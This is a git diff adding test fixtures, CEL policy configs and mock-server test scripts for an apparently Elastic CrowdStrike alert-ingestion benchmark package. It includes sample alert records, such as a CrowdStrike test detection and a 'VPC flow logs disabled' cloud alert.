+ "tree_id": "17181460644", + "tree_root": "17934037600", + "triggering_process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17942810918", + "type": "ldt", + "updated_timestamp": "2025-06-06T10:21:50.710Z", + "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "user_name": "win10_user3" + } + }, + "device": { + "id": "7940b10993e844e398f83bd92aa92b8f", + "manufacturer": "Microsoft Corporation", + "model": { + "name": "Virtual Machine" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", + "kind": "alert", + "original": "{\"agent_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"aggregate_id\":\"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"alleged_filetype\":\"exe\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"cloud_indicator\":\"false\",\"cmdline\":\"cmd crowdstrike_test_informational\",\"composite_id\":\"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"confidence\":100,\"context_timestamp\":\"2025-06-06T10:20:41.124Z\",\"control_graph_id\":\"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"crawled_timestamp\":\"2025-06-06T10:21:45.624194206Z\",\"created_timestamp\":\"2025-06-06T10:21:45.624178312Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"An informational level detection was triggered on this process for testing purposes.\",\"device\":{\"agent_load_flags\":\"1\",\"agent_local_time\":\"2025-06-06T06:28:45.178Z\",\"agent_version\":\"7.24.19607.0\",\"bios_manufacturer\":\"Microsoft Corporation\",\"bios_version\":\"Hyper-V UEFI Release v4.1\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"config_id_base\":\"65994767\",\"config_id_build\":\"19607\",\"config_id_platform\":\"3\",\"device_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"external_ip\":\"81.2.69.144\",\"first_seen\":\"2025-05-29T11:54:43Z\",\"groups\":[\"f3ba4e75244b4d06837c910a00bf80be\"],\"hostinfo\":{\"domain\":\"\"},\"hostname\":\"raquel-win10-3\",\"instance_id\":\"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6\",\"last_seen\":\"2025-06-06T09:44:59Z\",\"local_ip\":\"10.0.0.13\",\"mac_address\":\"60-45-bd-d2-d4-37\",\"machine_domain\":\"\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2025-06-06T10:18:32Z\",\"os_version\":\"Windows 10\",\"ou\":null,\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"service_provider\":\"AZURE\",\"service_provider_account_id\":\"7599433a-346d-4c25-b9d0-2948136c41f5\",\"status\":\"normal\",\"system_manufacturer\":\"Microsoft Corporation\",\"system_product_name\":\"Virtual Machine\"},\"display_name\":\"TestTriggerInformational\",\"email_sent\":true,\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"global_prevalence\":\"common\",\"grandparent_details\":{\"cmdline\":\"cmd crowdstrike_test_medium\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"2796\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17938741315\",\"process_id\":\"17938741315\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:21Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"indicator_id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"ioc_context\":[],\"local_prevalence\":\"unique\",\"local_process_id\":\"6028\",\"logon_domain\":\"raquel-win10-3\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"name\":\"DemoInformationalPattern\",\"objective\":\"Falcon Detection Method\",\"parent_details\":{\"cmdline\":\"cmd crowdstrike_test_low\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"4840\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17940808135\",\"process_id\":\"17940808135\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:32Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"parent_process_id\":\"17940808135\",\"pattern_disposition\":0,\"pattern_disposition_description\":\"Detection, standard detection.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"containment_file_system\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"mfa_required\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"prevention_provisioning_enabled\":false,\"process_blocked\":false,\"quarantine_file\":false,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"response_action_already_applied\":false,\"response_action_failed\":false,\"response_action_triggered\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":10307,\"platform\":\"Windows\",\"poly_id\":\"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==\",\"priority_explanation\":[\"[MOD] The severity of the detection: Informational\"],\"priority_value\":10,\"process_id\":\"17942810918\",\"process_start_time\":\"1749205241\",\"product\":\"epp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":10,\"severity_name\":\"Informational\",\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"show_in_ui\":true,\"source_products\":[\"Falcon Insight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Falcon Overwatch\",\"tactic_id\":\"CSTA0006\",\"technique\":\"Malicious Activity\",\"technique_id\":\"CST0002\",\"template_instance_id\":\"1339\",\"timestamp\":\"2025-06-06T10:20:41.789Z\",\"tree_id\":\"17181460644\",\"tree_root\":\"17934037600\",\"triggering_process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17942810918\",\"type\":\"ldt\",\"updated_timestamp\":\"2025-06-06T10:21:50.710758858Z\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "hostname": "raquel-win10-3", + "id": "7940b10993e844e398f83bd92aa92b8f", + "ip": [ + "81.2.69.144", + "10.0.0.13" + ], + "mac": [ + "60-45-BD-D2-D4-37" + ], + "os": { + "full": "Windows 10", + "platform": "Windows", + "type": "windows" + } + }, + "message": "An informational level detection was triggered on this process for testing purposes.", + "process": { + "entity_id": "17942810918", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "hash": { + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0" + }, + "name": "cmd.exe", + "parent": { + "command_line": "cmd crowdstrike_test_low", + "entity_id": "17940808135", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "hash": { + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0" + }, + "name": "cmd.exe", + "pid": 17940808135 + }, + "pid": 17942810918, + "start": "2025-06-06T10:20:41.000Z", + "user": { + "id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "name": "win10_user3" + } + }, + "related": { + "hash": [ + "2b40c98ed0f7a1d3b091a3e8353132dc", + "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "raquel-win10-3" + ], + "ip": [ + "81.2.69.144", + "10.0.0.13" + ], + "user": [ + "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", + "S-1-5-21-2765107603-2663188678-2286454264-500", + "win10_user3" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0006" + ], + "name": [ + "Falcon Overwatch" + ] + }, + "technique": { + "id": [ + "CST0002" + ], + "name": [ + "Malicious Activity" + ] + } + }, + "user": { + "id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "name": "win10_user3" + } + }, + { + "@timestamp": "2026-01-27T20:34:37.000Z", + "crowdstrike": { + "alert": { + "cid": "bdc3e3474d8848f1**************", + "composite_id": "bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94", + "crawled_timestamp": "2026-01-27T20:34:47.330Z", + "created_timestamp": "2026-01-27T20:34:47.330Z", + "data_domains": [ + "Cloud" + ], + "display_name": "VPC flow logs disabled", + "event_id": "09a917ca-d430-4cd2-ae55-ceaec7e7dc94", + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/unified-detections/", + "id": "fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94", + "mitre_attack": [ + { + "pattern_id": "2036", + "tactic": "Defense Evasion", + "tactic_id": "TA0005", + "technique": "Impair Defenses:Disable Cloud Logs", + "technique_id": "T1562.008" + } + ], + "name": "VPC flow logs disabled", + "pattern_id": "2036", + "poly_id": "", + "product": "fcs", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "severity": 40, + "severity_name": "Medium", + "show_in_ui": true, + "source": { + "account_name": "elastic-siem" + }, + "source_products": [ + "Falcon Cloud Security" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "Defense Evasion", + "tactic_id": "TA0005", + "technique": "Impair Defenses:Disable Cloud Logs", + "technique_id": "T1562.008", + "timestamp": "2026-01-27T20:34:37.000Z", + "type": "cloud-ioa", + "updated_timestamp": "2026-01-27T20:34:47.330Z", + "user_name": "user@example.com" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "id": "fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94", + "kind": "alert", + "original": "{\"attack_types\":[\"Defense Evasion\"],\"aws_access_key_id\":\"ASIA****************\",\"aws_recipient_account_id\":\"XXXXXXXXXXXX\",\"aws_user_account_id\":\"XXXXXXXXXXXX\",\"cid\":\"bdc3e3474d8848f1**************\",\"cloud_account_id\":\"XXXXXXXXXXXX\",\"cloud_provider\":\"aws\",\"cloud_region\":\"us-east-2\",\"composite_id\":\"bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"crawled_timestamp\":\"2026-01-27T20:34:47.330975395Z\",\"created_timestamp\":\"2026-01-27T20:34:47.330964263Z\",\"data_domains\":[\"Cloud\"],\"device\":{\"service_provider\":\"aws\",\"service_provider_account_id\":\"XXXXXXXXXXXX\"},\"display_name\":\"VPC flow logs disabled\",\"event_category\":\"Management\",\"event_count\":1,\"event_id\":\"09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"event_name\":\"DeleteFlowLogs\",\"event_source\":\"ec2.amazonaws.com\",\"event_type\":\"AwsApiCall\",\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/unified-detections/\",\"fcs_vertex_id\":\"206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94:ioa\",\"first_timestamp\":\"2026-01-27T20:25:22.94Z\",\"id\":\"fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"last_timestamp\":\"2026-01-27T20:25:22.94Z\",\"mfa_authenticated\":\"true\",\"mitre_attack\":[{\"pattern_id\":2036,\"tactic_id\":\"TA0005\",\"technique_id\":\"T1562.008\",\"tactic\":\"Defense Evasion\",\"technique\":\"Impair Defenses:Disable Cloud Logs\"}],\"name\":\"VPC flow logs disabled\",\"origin_cid\":\"bdc3e3474d8848f1**************\",\"pattern_id\":2036,\"policy_id\":\"206\",\"policy_statement\":\"VPC flow logs disabled\",\"poly_id\":\"\",\"product\":\"fcs\",\"request_parameters\":\"{\\\"DeleteFlowLogsRequest\\\":{\\\"FlowLogId\\\":{\\\"content\\\":\\\"fl-***************\\\",\\\"tag\\\":1}}}\",\"resource_gcrn\":\"bdc3e3474d8848f1**************|aws|XXXXXXXXXXXX|us-east-2|AWS::EC2::FlowLog|fl-***************\",\"resource_uuid\":\"\",\"response_elements\":\"{\\\"DeleteFlowLogsResponse\\\":{\\\"requestId\\\":\\\"\\\",\\\"unsuccessful\\\":\\\"\\\",\\\"xmlns\\\":\\\"http://ec2.amazonaws.com/doc/2016-11-15/\\\"}}\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"service\":\"VPC\",\"severity\":40,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_name\":\"elastic-siem\",\"source_ip_address\":\"34.194.234.218\",\"source_products\":[\"Falcon Cloud Security\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Defense Evasion\",\"tactic_id\":\"TA0005\",\"technique\":\"Impair Defenses:Disable Cloud Logs\",\"technique_id\":\"T1562.008\",\"timestamp\":\"2026-01-27T20:34:37Z\",\"type\":\"cloud-ioa\",\"updated_timestamp\":\"2026-01-27T20:34:47.330964263Z\",\"user_agent\":\"\",\"user_display_name\":\"user@example.com\",\"user_name\":\"user@example.com\",\"user_principal_id\":\"AIDA*************\"}", + "severity": 47 + }, + "related": { + "user": [ + "elastic-siem", + "user@example.com" + ] + }, + "source": { + "user": { + "name": "elastic-siem" + } + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0005" + ], + "name": [ + "Defense Evasion" + ] + }, + "technique": { + "id": [ + "T1562.008" + ], + "name": [ + "Impair Defenses:Disable Cloud Logs" + ] + } + }, + "user": { + "name": "user@example.com" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml new file mode 100644 index 0000000000..be41bb0d47 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml @@ -0,0 +1,4 @@ +fields: + tags: + - preserve_original_event + - preserve_duplicate_custom_fields diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected new file mode 100644 index 0000000000..af6a6e323c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected @@ -0,0 +1,134 @@ +inputs: + - data_stream: + namespace: ep + meta: + package: + name: crowdstrike + name: test-default-crowdstrike + streams: + - auth.oauth2: + client.id: test_client_id + client.secret: ${SECRET_0} + token_url: http://host.tld/oauth2/token + config_version: 2 + data_stream: + dataset: crowdstrike.alert + interval: 24h + program: |- + state.with( + ( + state.?want_more.orValue(false) ? + state.start_time + : + state.?cursor.last_timestamp.orValue( + (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) + ) + ).as(start_time, + post_request( + state.url.trim_right("/") + "/alerts/combined/alerts/v1?", + "application/json", + { + ?"after": state.?next.page_token, + "limit": int(state.batch_size), + "sort": "updated_timestamp|asc", + "filter": [ + "updated_timestamp:>'" + start_time + "'", + ?state.?query.optMap(q, "(" + q + ")"), + ].join("+"), + }.encode_json() + ).do_request().as(resp, (resp.StatusCode == 200) ? + resp.Body.decode_json().as(body, + (size(body.?errors.orValue([])) > 0) ? + { + "events": body.errors.map(error, + { + "error": { + "code": string(error.code), + "message": string(error.message), + }, + } + ), + "next": {}, + "want_more": false, + } + : + { + "events": has(body.resources) ? + body.resources.map(e, + { + "message": e.encode_json(), + } + ) + : + [], + "start_time": start_time, + "next": { + ?"page_token": body.?meta.pagination.after, + }, + "cursor": { + // The records are sorted in ascending order based on the value of updated_timestamp, + // in the next interval we start from the last event (newest) time. + ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? + optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) + : + state.?cursor.last_timestamp, + }, + "want_more": has(body.?meta.pagination.after), + } + ) + : + { + "events": { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( + (size(resp.Body) != 0) ? + string(resp.Body) + : + string(resp.Status) + " (" + string(resp.StatusCode) + ")" + ), + }, + }, + "next": {}, + "want_more": false, + } + ) + ) + ) + publisher_pipeline.disable_host: true + redact: + fields: null + resource.ssl: null + resource.timeout: 30s + resource.tracer: + enabled: false + filename: ../../logs/cel/http-request-trace-*.ndjson + maxbackups: 5 + resource.url: http://host.tld + state: + batch_size: 1000 + initial_interval: 24h + tags: + - preserve_original_event + - preserve_duplicate_custom_fields + - forwarded + - crowdstrike-alert + type: cel + use_output: default +output_permissions: + default: + _elastic_agent_checks: + cluster: + - monitor + _elastic_agent_monitoring: + indices: [] + uuid-for-permissions-on-related-indices: + indices: + - names: + - logs-crowdstrike.alert-ep + privileges: + - auto_configure + - create_doc +secret_references: + - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml new file mode 100644 index 0000000000..58bbc1f403 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml @@ -0,0 +1,9 @@ +vars: + url: http://host.tld + client_id: test_client_id + client_secret: test_client_secret + token_url: http://host.tld/oauth2/token +data_stream: + vars: + preserve_original_event: true + preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected new file mode 100644 index 0000000000..dbe88b82e4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected @@ -0,0 +1,134 @@ +inputs: + - data_stream: + namespace: ep + meta: + package: + name: crowdstrike + name: test-traced-crowdstrike + streams: + - auth.oauth2: + client.id: test_client_id + client.secret: ${SECRET_0} + token_url: http://host.tld/oauth2/token + config_version: 2 + data_stream: + dataset: crowdstrike.alert + interval: 24h + program: |- + state.with( + ( + state.?want_more.orValue(false) ? + state.start_time + : + state.?cursor.last_timestamp.orValue( + (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) + ) + ).as(start_time, + post_request( + state.url.trim_right("/") + "/alerts/combined/alerts/v1?", + "application/json", + { + ?"after": state.?next.page_token, + "limit": int(state.batch_size), + "sort": "updated_timestamp|asc", + "filter": [ + "updated_timestamp:>'" + start_time + "'", + ?state.?query.optMap(q, "(" + q + ")"), + ].join("+"), + }.encode_json() + ).do_request().as(resp, (resp.StatusCode == 200) ? + resp.Body.decode_json().as(body, + (size(body.?errors.orValue([])) > 0) ? + { + "events": body.errors.map(error, + { + "error": { + "code": string(error.code), + "message": string(error.message), + }, + } + ), + "next": {}, + "want_more": false, + } + : + { + "events": has(body.resources) ? + body.resources.map(e, + { + "message": e.encode_json(), + } + ) + : + [], + "start_time": start_time, + "next": { + ?"page_token": body.?meta.pagination.after, + }, + "cursor": { + // The records are sorted in ascending order based on the value of updated_timestamp, + // in the next interval we start from the last event (newest) time. + ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? + optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) + : + state.?cursor.last_timestamp, + }, + "want_more": has(body.?meta.pagination.after), + } + ) + : + { + "events": { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( + (size(resp.Body) != 0) ? + string(resp.Body) + : + string(resp.Status) + " (" + string(resp.StatusCode) + ")" + ), + }, + }, + "next": {}, + "want_more": false, + } + ) + ) + ) + publisher_pipeline.disable_host: true + redact: + fields: null + resource.ssl: null + resource.timeout: 30s + resource.tracer: + enabled: true + filename: ../../logs/cel/http-request-trace-*.ndjson + maxbackups: 5 + resource.url: http://host.tld + state: + batch_size: 1000 + initial_interval: 24h + tags: + - preserve_original_event + - preserve_duplicate_custom_fields + - forwarded + - crowdstrike-alert + type: cel + use_output: default +output_permissions: + default: + _elastic_agent_checks: + cluster: + - monitor + _elastic_agent_monitoring: + indices: [] + uuid-for-permissions-on-related-indices: + indices: + - names: + - logs-crowdstrike.alert-ep + privileges: + - auto_configure + - create_doc +secret_references: + - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml new file mode 100644 index 0000000000..64c1d9d27e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml @@ -0,0 +1,10 @@ +vars: + url: http://host.tld + client_id: test_client_id + client_secret: test_client_secret + token_url: http://host.tld/oauth2/token +data_stream: + vars: + enable_request_tracer: true + preserve_original_event: true + preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt new file mode 100644 index 0000000000..7c7134fede --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt @@ -0,0 +1,111 @@ +# Test that the alert data stream handles a CrowdStrike API error response +# (HTTP 200 with a non-empty errors array) by emitting error events and +# stopping collection. +# +# CrowdStrike returns errors inside a 200 response body rather than via HTTP +# status codes. The CEL program checks body.errors and, when non-empty, +# maps each entry to an error event and sets want_more=false. + +[!external_stack] skip 'Skipping external stack test.' +[!exec:jq] skip 'Skipping test requiring absent jq command' + +# Connect to the running stack. +use_stack -profile ${CONFIG_PROFILES}/${PROFILE} + +# Install an agent. +install_agent -profile ${CONFIG_PROFILES}/${PROFILE} -network_name NETWORK_NAME + +# Start the mock CrowdStrike API server. +docker_up -profile ${CONFIG_PROFILES}/${PROFILE} -network ${NETWORK_NAME} cs-mock + +# Workaround for https://github.com/elastic/elastic-package/issues/3321: +# add_package passes the package dir as RepositoryRoot instead of the repo +# root, so the builder can't find licenses/Elastic-2.0.txt. Copy it into +# the package directory where the builder expects it. +exec mkdir -p ${PACKAGE_ROOT}/licenses +exec cp ${PACKAGE_ROOT}/../../licenses/Elastic-2.0.txt ${PACKAGE_ROOT}/licenses/Elastic-2.0.txt + +# Add the package resources. +add_package -profile ${CONFIG_PROFILES}/${PROFILE} + +# Add the data stream policy. +add_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} test_config.yaml DATA_STREAM_NAME + +# Wait for exactly 1 document (the error event). Use a longer confirm duration +# to verify no additional data events arrive. +get_docs -profile ${CONFIG_PROFILES}/${PROFILE} -want 1 -confirm 15s -timeout 5m ${DATA_STREAM_NAME} +cp stdout got_docs.json + +# The error event should reference the API error message. +exec jq -r '[.hits.hits[]._source.error.message // empty] | flatten | .[]' got_docs.json +stdout 'Access denied' + +# No alert data events should be present. +exec jq '[.hits.hits[]._source | select(.crowdstrike.alert != null)] | length' got_docs.json +stdout '^0$' + +# Clean up. +remove_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} ${DATA_STREAM_NAME} +uninstall_agent -profile ${CONFIG_PROFILES}/${PROFILE} -timeout 1m +docker_down cs-mock + +# Clean up license workaround (https://github.com/elastic/elastic-package/issues/3321). +exec rm -rf ${PACKAGE_ROOT}/licenses + +-- test_config.yaml -- +input: cel +vars: + url: http://cs-mock:8080 + client_id: test-client-id + client_secret: test-client-secret + token_url: http://cs-mock:8080/oauth2/token +data_stream: + vars: + interval: 30s + initial_interval: 1h + batch_size: 10 + preserve_original_event: true + enable_request_tracer: false +-- cs-mock/docker-compose.yml -- +version: '2.3' +services: + cs-mock: + image: docker.elastic.co/observability/stream:v0.20.0 + hostname: cs-mock + ports: + - 8080 + environment: + PORT: "8080" + volumes: + - ./config.yml:/config.yml + command: + - http-server + - --addr=:8080 + - --config=/config.yml +-- cs-mock/config.yml -- +rules: + # OAuth2 token endpoint: returns a valid access token. + - path: /oauth2/token + methods: [POST] + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {"access_token":"test-token","expires_in":3600,"token_type":"Bearer"} + + # Alerts endpoint: returns 200 with a non-empty errors array. + # CrowdStrike uses this pattern for permission and scope errors. + - path: /alerts/combined/alerts/v1 + methods: [POST] + request_headers: + Authorization: + - "Bearer test-token" + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {"meta":{"pagination":{"total":0,"limit":10}},"errors":[{"code":403,"message":"Access denied: insufficient scope for this action"}],"resources":[]} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt new file mode 100644 index 0000000000..4c2c31eee8 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt @@ -0,0 +1,25 @@ +[!exec:echo] skip 'Skipping test requiring absent echo command' + +exec echo ${CONFIG_ROOT} +stdout '/\.elastic-package$' + +exec echo ${CONFIG_PROFILES} +stdout '/\.elastic-package/profiles$' + +exec echo ${PACKAGE_NAME} +stdout '^crowdstrike$' + +exec echo ${PACKAGE_ROOT} +stdout '/packages/crowdstrike$' + +exec echo ${DATA_STREAM} +stdout '^alert$' + +exec echo ${DATA_STREAM_ROOT} +stdout '/packages/crowdstrike/data_stream/alert$' + +exec echo ${CURRENT_VERSION} +stdout '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$' + +exec echo ${PREVIOUS_VERSION} +stdout '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt new file mode 100644 index 0000000000..4d8aef78eb --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt @@ -0,0 +1,110 @@ +# Test that the alert data stream handles an HTTP 401 Unauthorized response +# by emitting an error event and stopping collection. +# +# A non-200 HTTP response causes the CEL program to emit a single error event +# with error.code set to the HTTP status code and want_more=false. + +[!external_stack] skip 'Skipping external stack test.' +[!exec:jq] skip 'Skipping test requiring absent jq command' + +# Connect to the running stack. +use_stack -profile ${CONFIG_PROFILES}/${PROFILE} + +# Install an agent. +install_agent -profile ${CONFIG_PROFILES}/${PROFILE} -network_name NETWORK_NAME + +# Start the mock CrowdStrike API server. +docker_up -profile ${CONFIG_PROFILES}/${PROFILE} -network ${NETWORK_NAME} cs-mock + +# Workaround for https://github.com/elastic/elastic-package/issues/3321: +# add_package passes the package dir as RepositoryRoot instead of the repo +# root, so the builder can't find licenses/Elastic-2.0.txt. Copy it into +# the package directory where the builder expects it. +exec mkdir -p ${PACKAGE_ROOT}/licenses +exec cp ${PACKAGE_ROOT}/../../licenses/Elastic-2.0.txt ${PACKAGE_ROOT}/licenses/Elastic-2.0.txt + +# Add the package resources. +add_package -profile ${CONFIG_PROFILES}/${PROFILE} + +# Add the data stream policy. +add_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} test_config.yaml DATA_STREAM_NAME + +# Wait for exactly 1 document (the error event). Use a longer confirm duration +# to verify no additional data events arrive. 